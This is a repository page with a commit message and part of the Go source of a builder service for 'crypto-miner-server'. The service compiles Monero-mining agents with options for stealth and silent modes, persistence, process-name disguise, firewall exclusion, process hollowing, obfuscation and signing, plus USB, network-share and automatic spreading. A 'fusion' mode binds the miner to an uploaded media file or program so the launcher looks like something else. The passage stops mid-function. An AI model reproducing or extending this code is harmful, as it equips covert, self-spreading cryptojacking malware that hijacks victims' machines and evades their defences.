Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
1229 lines
37 KiB
Go
1229 lines
37 KiB
Go
package builder
|
||
|
||
import (
|
||
"context"
|
||
"encoding/json"
|
||
"fmt"
|
||
"io"
|
||
"log"
|
||
"mime/multipart"
|
||
"net/http"
|
||
"os"
|
||
"os/exec"
|
||
"path/filepath"
|
||
"strings"
|
||
"sync"
|
||
"time"
|
||
|
||
"crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/models"
|
||
|
||
"github.com/go-chi/chi/v5"
|
||
"github.com/google/uuid"
|
||
)
|
||
|
||
type BuildRequest struct {
|
||
WorkerName string `json:"worker_name"`
|
||
ServerURL string `json:"server_url"`
|
||
BackupServerURLs []string `json:"backup_server_urls"`
|
||
Wallet string `json:"wallet"`
|
||
OutputDir string `json:"output_dir"`
|
||
Threads int `json:"threads"`
|
||
ThreadMode string `json:"thread_mode"`
|
||
ThreadPercent int `json:"thread_percent"`
|
||
CPUPriority string `json:"cpu_priority"`
|
||
MiningMode string `json:"mining_mode"`
|
||
DisplayMode string `json:"display_mode"`
|
||
SilentMode bool `json:"silent_mode"`
|
||
RunAs string `json:"run_as"`
|
||
AutoStart bool `json:"auto_start"`
|
||
Persistence bool `json:"persistence"`
|
||
ProcessName string `json:"process_name"`
|
||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||
MaxMemoryPct int `json:"max_memory_percent"`
|
||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||
ScheduleStart string `json:"schedule_start"`
|
||
ScheduleEnd string `json:"schedule_end"`
|
||
InstallBase string `json:"install_base"`
|
||
InstallCustomBase string `json:"install_custom_base"`
|
||
InstallRelativePath string `json:"install_relative_path"`
|
||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||
SelfHealing bool `json:"self_healing"`
|
||
FileLogging bool `json:"file_logging"`
|
||
StealthMode bool `json:"stealth_mode"`
|
||
FirewallExclusion bool `json:"firewall_exclusion"`
|
||
PoolHost string `json:"pool_host"`
|
||
PoolPort int `json:"pool_port"`
|
||
PoolTLS bool `json:"pool_tls"`
|
||
PoolPass string `json:"pool_pass"`
|
||
FusionEnabled bool `json:"fusion_enabled"`
|
||
FusionRunOrder string `json:"fusion_run_order"`
|
||
FusionOutputName string `json:"fusion_output_name"`
|
||
FusionPayloadKind string `json:"fusion_payload_kind"`
|
||
FusionMediaMode string `json:"fusion_media_mode"`
|
||
FusionMediaBaseName string `json:"fusion_media_base_name"`
|
||
FusionExportSubdir string `json:"fusion_export_subdir"`
|
||
// AI Autonomy (Ollama)
|
||
AIEnabled bool `json:"ai_enabled"`
|
||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||
AIModel string `json:"ai_model"`
|
||
ProcessHollowing bool `json:"process_hollowing"`
|
||
MeshP2P bool `json:"mesh_p2p"`
|
||
AutoSpread bool `json:"auto_spread"`
|
||
HolePunch bool `json:"hole_punch"`
|
||
RemoteAggressive bool `json:"remote_aggressive"`
|
||
USBSpread bool `json:"usb_spread"`
|
||
ShareSpread bool `json:"share_spread"`
|
||
TargetOS string `json:"target_os"`
|
||
TargetArch string `json:"target_arch"`
|
||
SpreadKit bool `json:"spread_kit"`
|
||
Obfuscate bool `json:"obfuscate"`
|
||
SignBuild bool `json:"sign_build"`
|
||
BackupPools []BackupPool `json:"backup_pools"`
|
||
// CancelToken is a client-generated UUID. Pass the same token to
|
||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||
CancelToken string `json:"cancel_token,omitempty"`
|
||
}
|
||
|
||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||
type BackupPool struct {
|
||
Host string `json:"host"`
|
||
Port int `json:"port"`
|
||
TLS bool `json:"tls"`
|
||
Pass string `json:"pass"`
|
||
}
|
||
|
||
type BuildResponse struct {
|
||
Success bool `json:"success"`
|
||
BuildID string `json:"build_id,omitempty"`
|
||
FileName string `json:"file_name,omitempty"`
|
||
FilePath string `json:"file_path,omitempty"`
|
||
RelativePath string `json:"relative_path,omitempty"`
|
||
FileSize int64 `json:"file_size,omitempty"`
|
||
DownloadURL string `json:"download_url,omitempty"`
|
||
UninstallFileName string `json:"uninstall_file_name,omitempty"`
|
||
UninstallPath string `json:"uninstall_path,omitempty"`
|
||
UninstallDownloadURL string `json:"uninstall_download_url,omitempty"`
|
||
ExportPath string `json:"export_path,omitempty"`
|
||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||
FusionExportDir string `json:"fusion_export_dir,omitempty"`
|
||
ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
|
||
BundleFileName string `json:"bundle_file_name,omitempty"`
|
||
BundleDownloadURL string `json:"bundle_download_url,omitempty"`
|
||
BundleSize int64 `json:"bundle_size,omitempty"`
|
||
WorkerFile string `json:"worker_file,omitempty"`
|
||
Signed bool `json:"signed,omitempty"`
|
||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||
Error string `json:"error,omitempty"`
|
||
}
|
||
|
||
type BuildArtifactFile struct {
|
||
FileName string `json:"file_name"`
|
||
FilePath string `json:"file_path,omitempty"`
|
||
}
|
||
|
||
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
|
||
if len(arts) == 0 {
|
||
return nil
|
||
}
|
||
out := make([]models.BuildExtraFile, len(arts))
|
||
for i, a := range arts {
|
||
out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
|
||
}
|
||
return out
|
||
}
|
||
|
||
type Handler struct {
|
||
db *db.Database
|
||
dataDir string
|
||
agentSrcDir string
|
||
projectRoot string
|
||
goBinPath string
|
||
garblePath string
|
||
goWinresPath string
|
||
serverModDir string
|
||
policy BuildPolicy
|
||
fleetSecret string // injected from server config; baked into every forge output
|
||
|
||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||
activeCancelsMu sync.Mutex
|
||
activeCancels map[string]context.CancelFunc
|
||
}
|
||
|
||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||
func (h *Handler) SetFleetSecret(secret string) {
|
||
h.fleetSecret = secret
|
||
}
|
||
|
||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||
// Returns true if the token was found and cancelled, false if unknown.
|
||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||
h.activeCancelsMu.Lock()
|
||
cancel, ok := h.activeCancels[cancelToken]
|
||
h.activeCancelsMu.Unlock()
|
||
if ok {
|
||
cancel()
|
||
}
|
||
return ok
|
||
}
|
||
|
||
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
|
||
h.activeCancelsMu.Lock()
|
||
if h.activeCancels == nil {
|
||
h.activeCancels = make(map[string]context.CancelFunc)
|
||
}
|
||
h.activeCancels[token] = cancel
|
||
h.activeCancelsMu.Unlock()
|
||
}
|
||
|
||
func (h *Handler) unregisterCancel(token string) {
|
||
if token == "" {
|
||
return
|
||
}
|
||
h.activeCancelsMu.Lock()
|
||
delete(h.activeCancels, token)
|
||
h.activeCancelsMu.Unlock()
|
||
}
|
||
|
||
type SignPolicy struct {
|
||
Enabled bool `json:"enabled"`
|
||
CertThumbprint string `json:"cert_thumbprint"`
|
||
ToolPath string `json:"tool_path"`
|
||
TimestampURL string `json:"timestamp_url"`
|
||
}
|
||
|
||
type BuildPolicy struct {
|
||
StrictWalletValidation bool
|
||
MaxBuildSizeMB int
|
||
DefaultObfuscate bool
|
||
Sign SignPolicy
|
||
}
|
||
|
||
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||
h.policy = p
|
||
}
|
||
|
||
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
|
||
goBin := "go"
|
||
if _, err := exec.LookPath("go"); err == nil {
|
||
goBin = "go"
|
||
}
|
||
h := &Handler{
|
||
db: database,
|
||
dataDir: dataDir,
|
||
agentSrcDir: agentSrcDir,
|
||
projectRoot: projectRoot,
|
||
goBinPath: goBin,
|
||
}
|
||
h.resolveToolPaths(projectRoot)
|
||
return h
|
||
}
|
||
|
||
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||
if r.Method != http.MethodPost {
|
||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||
return
|
||
}
|
||
|
||
var req BuildRequest
|
||
var prepPath string
|
||
var cleanupPrep func()
|
||
|
||
contentType := r.Header.Get("Content-Type")
|
||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||
return
|
||
}
|
||
configJSON := r.FormValue("config")
|
||
if configJSON == "" {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
|
||
return
|
||
}
|
||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
|
||
return
|
||
}
|
||
file, header, err := r.FormFile("prep_exe")
|
||
if req.FusionEnabled {
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||
return
|
||
}
|
||
defer file.Close()
|
||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||
req.FusionMediaBaseName = header.Filename
|
||
}
|
||
if req.FusionOutputName == "" && header.Filename != "" {
|
||
req.FusionOutputName = header.Filename
|
||
}
|
||
if req.FusionPayloadKind == "" {
|
||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||
}
|
||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||
return
|
||
}
|
||
prepPath = saved
|
||
cleanupPrep = remove
|
||
} else if err == nil {
|
||
file.Close()
|
||
}
|
||
} else {
|
||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||
return
|
||
}
|
||
}
|
||
|
||
if cleanupPrep != nil {
|
||
defer cleanupPrep()
|
||
}
|
||
|
||
if err := h.normalizeRequest(&req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||
return
|
||
}
|
||
if req.FusionEnabled && prepPath == "" {
|
||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
|
||
return
|
||
}
|
||
|
||
// Register cancel token so the frontend can abort this compile mid-flight.
|
||
// The ctx is threaded all the way down to exec.CommandContext, so cancellation
|
||
// immediately sends SIGKILL to the running go/garble process.
|
||
ctx := r.Context()
|
||
if req.CancelToken != "" {
|
||
var cancelFn context.CancelFunc
|
||
ctx, cancelFn = context.WithCancel(ctx)
|
||
h.registerCancel(req.CancelToken, cancelFn)
|
||
defer h.unregisterCancel(req.CancelToken)
|
||
}
|
||
|
||
// FusionOutputName will be derived from the payload filename if not set
|
||
resp, status, outputPath := h.buildAgent(ctx, &req, prepPath)
|
||
if !resp.Success {
|
||
writeJSON(w, status, resp)
|
||
return
|
||
}
|
||
|
||
if r.URL.Query().Get("download") == "1" {
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
||
http.ServeFile(w, r, outputPath)
|
||
return
|
||
}
|
||
|
||
writeJSON(w, http.StatusOK, resp)
|
||
}
|
||
|
||
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||
if r.Method != http.MethodPost {
|
||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||
return
|
||
}
|
||
|
||
var req BuildRequest
|
||
var prepPath string
|
||
var prepSize int64
|
||
var prepName string
|
||
var cleanupPrep func()
|
||
|
||
contentType := r.Header.Get("Content-Type")
|
||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||
return
|
||
}
|
||
configJSON := r.FormValue("config")
|
||
if configJSON == "" {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
|
||
return
|
||
}
|
||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
|
||
return
|
||
}
|
||
file, header, err := r.FormFile("prep_exe")
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
|
||
return
|
||
}
|
||
defer file.Close()
|
||
if header != nil {
|
||
prepSize = header.Size
|
||
prepName = header.Filename
|
||
}
|
||
if req.FusionPayloadKind == "" {
|
||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||
}
|
||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||
if err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||
return
|
||
}
|
||
prepPath = saved
|
||
cleanupPrep = remove
|
||
} else {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
|
||
return
|
||
}
|
||
|
||
if cleanupPrep != nil {
|
||
defer cleanupPrep()
|
||
}
|
||
|
||
if err := h.normalizeRequest(&req); err != nil {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||
return
|
||
}
|
||
if !req.FusionEnabled {
|
||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
|
||
return
|
||
}
|
||
if req.FusionOutputName == "" && prepName != "" {
|
||
req.FusionOutputName = prepName
|
||
}
|
||
|
||
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
|
||
writeJSON(w, http.StatusOK, est)
|
||
}
|
||
|
||
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||
buildID := chi.URLParam(r, "id")
|
||
build, err := h.db.GetBuild(buildID)
|
||
if err != nil {
|
||
http.Error(w, "Build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
if _, err := os.Stat(build.FilePath); err != nil {
|
||
http.Error(w, "Build file missing", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
|
||
http.ServeFile(w, r, build.FilePath)
|
||
}
|
||
|
||
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||
buildID := chi.URLParam(r, "id")
|
||
if _, err := h.db.GetBuild(buildID); err != nil {
|
||
http.Error(w, "Build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||
if name == "" || strings.Contains(name, "..") {
|
||
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||
return
|
||
}
|
||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||
path, err := safePathUnderRoot(buildDir, name)
|
||
if err != nil {
|
||
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
|
||
title = sanitizeFileName(filepath.Base(title))
|
||
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
|
||
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
|
||
}
|
||
}
|
||
if err != nil {
|
||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
if _, err := os.Stat(path); err != nil {
|
||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
|
||
http.ServeFile(w, r, path)
|
||
}
|
||
|
||
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||
buildID := chi.URLParam(r, "id")
|
||
build, err := h.db.GetBuild(buildID)
|
||
if err != nil {
|
||
http.Error(w, "Build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
// Uninstall script lives in buildDir (builds/<id>/), NOT in the platform
|
||
// sub-directory where the binary lives (builds/<id>/windows-amd64/).
|
||
// Compute directly from dataDir + buildID to avoid path-stripping mistakes.
|
||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||
uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)))
|
||
if _, err := os.Stat(uninstallPath); err != nil {
|
||
http.Error(w, "Uninstall script missing", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath)))
|
||
http.ServeFile(w, r, uninstallPath)
|
||
}
|
||
|
||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||
return h.buildUniversalAgent(ctx, req, prepPath)
|
||
}
|
||
|
||
buildID := uuid.New().String()
|
||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||
agentDir := filepath.Join(buildDir, "agent")
|
||
|
||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
if err := h.copyAgentSource(agentDir); err != nil {
|
||
log.Printf("Failed to copy agent source: %v", err)
|
||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
configDir := filepath.Join(agentDir, "config")
|
||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
platforms := platformsForRequest(req)
|
||
p := platforms[0]
|
||
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||
if err != nil {
|
||
log.Printf("Build failed: %v", err)
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||
workerName := filepath.Base(outputPath)
|
||
finalPath := outputPath
|
||
finalName := workerName
|
||
var fusionEnabled bool
|
||
|
||
uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
var extraArtifacts []BuildArtifactFile
|
||
var fusionRes *fusionBuildResult
|
||
if req.FusionEnabled {
|
||
if req.FusionPayloadKind == "" {
|
||
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
|
||
}
|
||
var err error
|
||
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
finalPath = fusionRes.LauncherPath
|
||
finalName = filepath.Base(finalPath)
|
||
fusionEnabled = true
|
||
if fusionRes.EncryptedPath != "" {
|
||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||
FileName: filepath.Base(fusionRes.EncryptedPath),
|
||
FilePath: fusionRes.EncryptedPath,
|
||
})
|
||
}
|
||
if fusionRes.ShortcutPath != "" {
|
||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||
FileName: filepath.Base(fusionRes.ShortcutPath),
|
||
FilePath: fusionRes.ShortcutPath,
|
||
})
|
||
}
|
||
}
|
||
|
||
var fusionExportDir string
|
||
var bundleFileName string
|
||
var bundleDownloadURL string
|
||
var bundleSize int64
|
||
exportPath := ""
|
||
if fusionEnabled {
|
||
exportLabel := req.FusionMediaBaseName
|
||
if exportLabel == "" {
|
||
exportLabel = filepath.Base(prepPath)
|
||
}
|
||
arts := map[string]string{finalName: finalPath}
|
||
for _, ex := range extraArtifacts {
|
||
arts[ex.FileName] = ex.FilePath
|
||
}
|
||
// In paired mode the runner looks for the payload file next to (or above) the binary.
|
||
// Include it in the deliverable so the ZIP is self-contained without needing the
|
||
// user to place the file themselves.
|
||
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
|
||
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
|
||
}
|
||
subdir := fusionExportSubdir(req, exportLabel)
|
||
readme := fusionReadmeInfo{
|
||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||
RunnerName: finalName,
|
||
MediaName: filepath.Base(exportLabel),
|
||
PayloadKind: req.FusionPayloadKind,
|
||
MediaMode: req.FusionMediaMode,
|
||
}
|
||
if readme.Title == "" {
|
||
readme.Title = sanitizeFileName(req.WorkerName)
|
||
}
|
||
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
fusionExportDir = dir
|
||
exportPath = filepath.Join(dir, finalName)
|
||
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||
FileName: "README.txt",
|
||
FilePath: filepath.Join(dir, "README.txt"),
|
||
})
|
||
for i := range extraArtifacts {
|
||
if extraArtifacts[i].FileName != "README.txt" {
|
||
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
|
||
}
|
||
}
|
||
|
||
bundleFileName = fusionBundleZipName(subdir)
|
||
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
|
||
if err := zipDirectory(dir, bundleBuildPath); err != nil {
|
||
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
|
||
if st, err := os.Stat(bundleBuildPath); err == nil {
|
||
bundleSize = st.Size()
|
||
}
|
||
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
|
||
} else {
|
||
var err error
|
||
exportPath, err = h.publishRootExecutable(finalPath, finalName)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
}
|
||
if exportPath == "" {
|
||
exportPath, _ = filepath.Abs(finalPath)
|
||
}
|
||
if strings.TrimSpace(req.OutputDir) != "" {
|
||
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
|
||
log.Printf("[Builder] secondary export: %v", err)
|
||
} else {
|
||
_ = eu
|
||
if exportPath == "" {
|
||
exportPath = ep
|
||
}
|
||
}
|
||
}
|
||
|
||
signed := false
|
||
if h.shouldSignBuild(req) {
|
||
if err := h.signExecutable(finalPath); err != nil {
|
||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
signed = true
|
||
if exportPath != "" && exportPath != finalPath {
|
||
_ = h.signExecutable(exportPath)
|
||
}
|
||
}
|
||
|
||
fileInfo, err := os.Stat(finalPath)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||
}
|
||
if h.policy.MaxBuildSizeMB > 0 {
|
||
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
|
||
if fileInfo.Size() > maxBytes {
|
||
_ = os.RemoveAll(buildDir)
|
||
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
|
||
}
|
||
}
|
||
|
||
absPath, _ := filepath.Abs(finalPath)
|
||
relPath, _ := filepath.Rel(h.projectRoot, absPath)
|
||
if relPath == "" || strings.HasPrefix(relPath, "..") {
|
||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||
}
|
||
|
||
// Normalise platform tag for easy lookup by /get endpoint
|
||
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||
if recordPlatform == "" {
|
||
recordPlatform = "windows"
|
||
}
|
||
|
||
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
|
||
if bundleDownloadURL != "" {
|
||
dlURL = bundleDownloadURL
|
||
}
|
||
buildRecord := &models.BuildRecord{
|
||
ID: buildID,
|
||
WorkerName: req.WorkerName,
|
||
ServerURL: req.ServerURL,
|
||
Wallet: req.Wallet,
|
||
Threads: req.Threads,
|
||
FileSize: fileInfo.Size(),
|
||
BundleSize: bundleSize,
|
||
FilePath: absPath,
|
||
FileName: finalName,
|
||
DownloadURL: dlURL,
|
||
ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts),
|
||
Platform: recordPlatform,
|
||
CreatedAt: time.Now(),
|
||
PoolHost: req.PoolHost,
|
||
PoolPort: req.PoolPort,
|
||
PoolTLS: req.PoolTLS,
|
||
PoolPass: req.PoolPass,
|
||
}
|
||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||
log.Printf("Failed to record build: %v", err)
|
||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
resp := BuildResponse{
|
||
Success: true,
|
||
BuildID: buildID,
|
||
FileName: finalName,
|
||
FilePath: absPath,
|
||
RelativePath: relPath,
|
||
FileSize: fileInfo.Size(),
|
||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
||
UninstallFileName: uninstallName,
|
||
UninstallPath: uninstallPath,
|
||
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
|
||
ExportPath: exportPath,
|
||
UninstallExportPath: "",
|
||
FusionEnabled: fusionEnabled,
|
||
FusionExportDir: fusionExportDir,
|
||
ExtraFiles: extraArtifacts,
|
||
BundleFileName: bundleFileName,
|
||
BundleDownloadURL: bundleDownloadURL,
|
||
BundleSize: bundleSize,
|
||
WorkerFile: workerName,
|
||
Signed: signed,
|
||
Obfuscated: obfuscated,
|
||
}
|
||
if fusionEnabled && bundleDownloadURL != "" {
|
||
resp.DownloadURL = bundleDownloadURL
|
||
resp.FileName = bundleFileName
|
||
if bundleSize > 0 {
|
||
resp.FileSize = bundleSize
|
||
}
|
||
}
|
||
return resp, http.StatusOK, finalPath
|
||
}
|
||
|
||
// publishRootExecutable writes the forged installer as a single file in the project root.
|
||
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
|
||
if h.projectRoot == "" || h.projectRoot == "." {
|
||
abs, _ := filepath.Abs(finalPath)
|
||
return abs, nil
|
||
}
|
||
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
|
||
if err := copyFile(finalPath, dest); err != nil {
|
||
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
|
||
}
|
||
log.Printf("[Builder] Forge output -> %s", dest)
|
||
return dest, nil
|
||
}
|
||
|
||
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
|
||
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
|
||
clean := strings.TrimSpace(outputDir)
|
||
if clean == "" {
|
||
return "", "", nil
|
||
}
|
||
clean = filepath.Clean(clean)
|
||
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
|
||
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
|
||
}
|
||
|
||
exportDir := ""
|
||
if h.projectRoot != "" {
|
||
exportDir = filepath.Join(h.projectRoot, clean)
|
||
} else {
|
||
exportDir = filepath.Join(h.dataDir, clean)
|
||
}
|
||
if err := os.MkdirAll(exportDir, 0755); err != nil {
|
||
return "", "", fmt.Errorf("failed to create export folder: %w", err)
|
||
}
|
||
|
||
exportExe := filepath.Join(exportDir, finalName)
|
||
if err := copyFile(finalPath, exportExe); err != nil {
|
||
return "", "", fmt.Errorf("failed to export build: %w", err)
|
||
}
|
||
exportUninstall := filepath.Join(exportDir, uninstallName)
|
||
_ = copyFile(uninstallPath, exportUninstall)
|
||
|
||
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
|
||
return exportExe, exportUninstall, nil
|
||
}
|
||
|
||
func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||
if req.WorkerName == "" {
|
||
return fmt.Errorf("worker_name is required")
|
||
}
|
||
if req.ServerURL == "" {
|
||
return fmt.Errorf("server_url is required")
|
||
}
|
||
if req.Wallet == "" {
|
||
return fmt.Errorf("wallet is required")
|
||
}
|
||
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
|
||
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
|
||
}
|
||
req.OutputDir = strings.TrimSpace(req.OutputDir)
|
||
if req.OutputDir != "" {
|
||
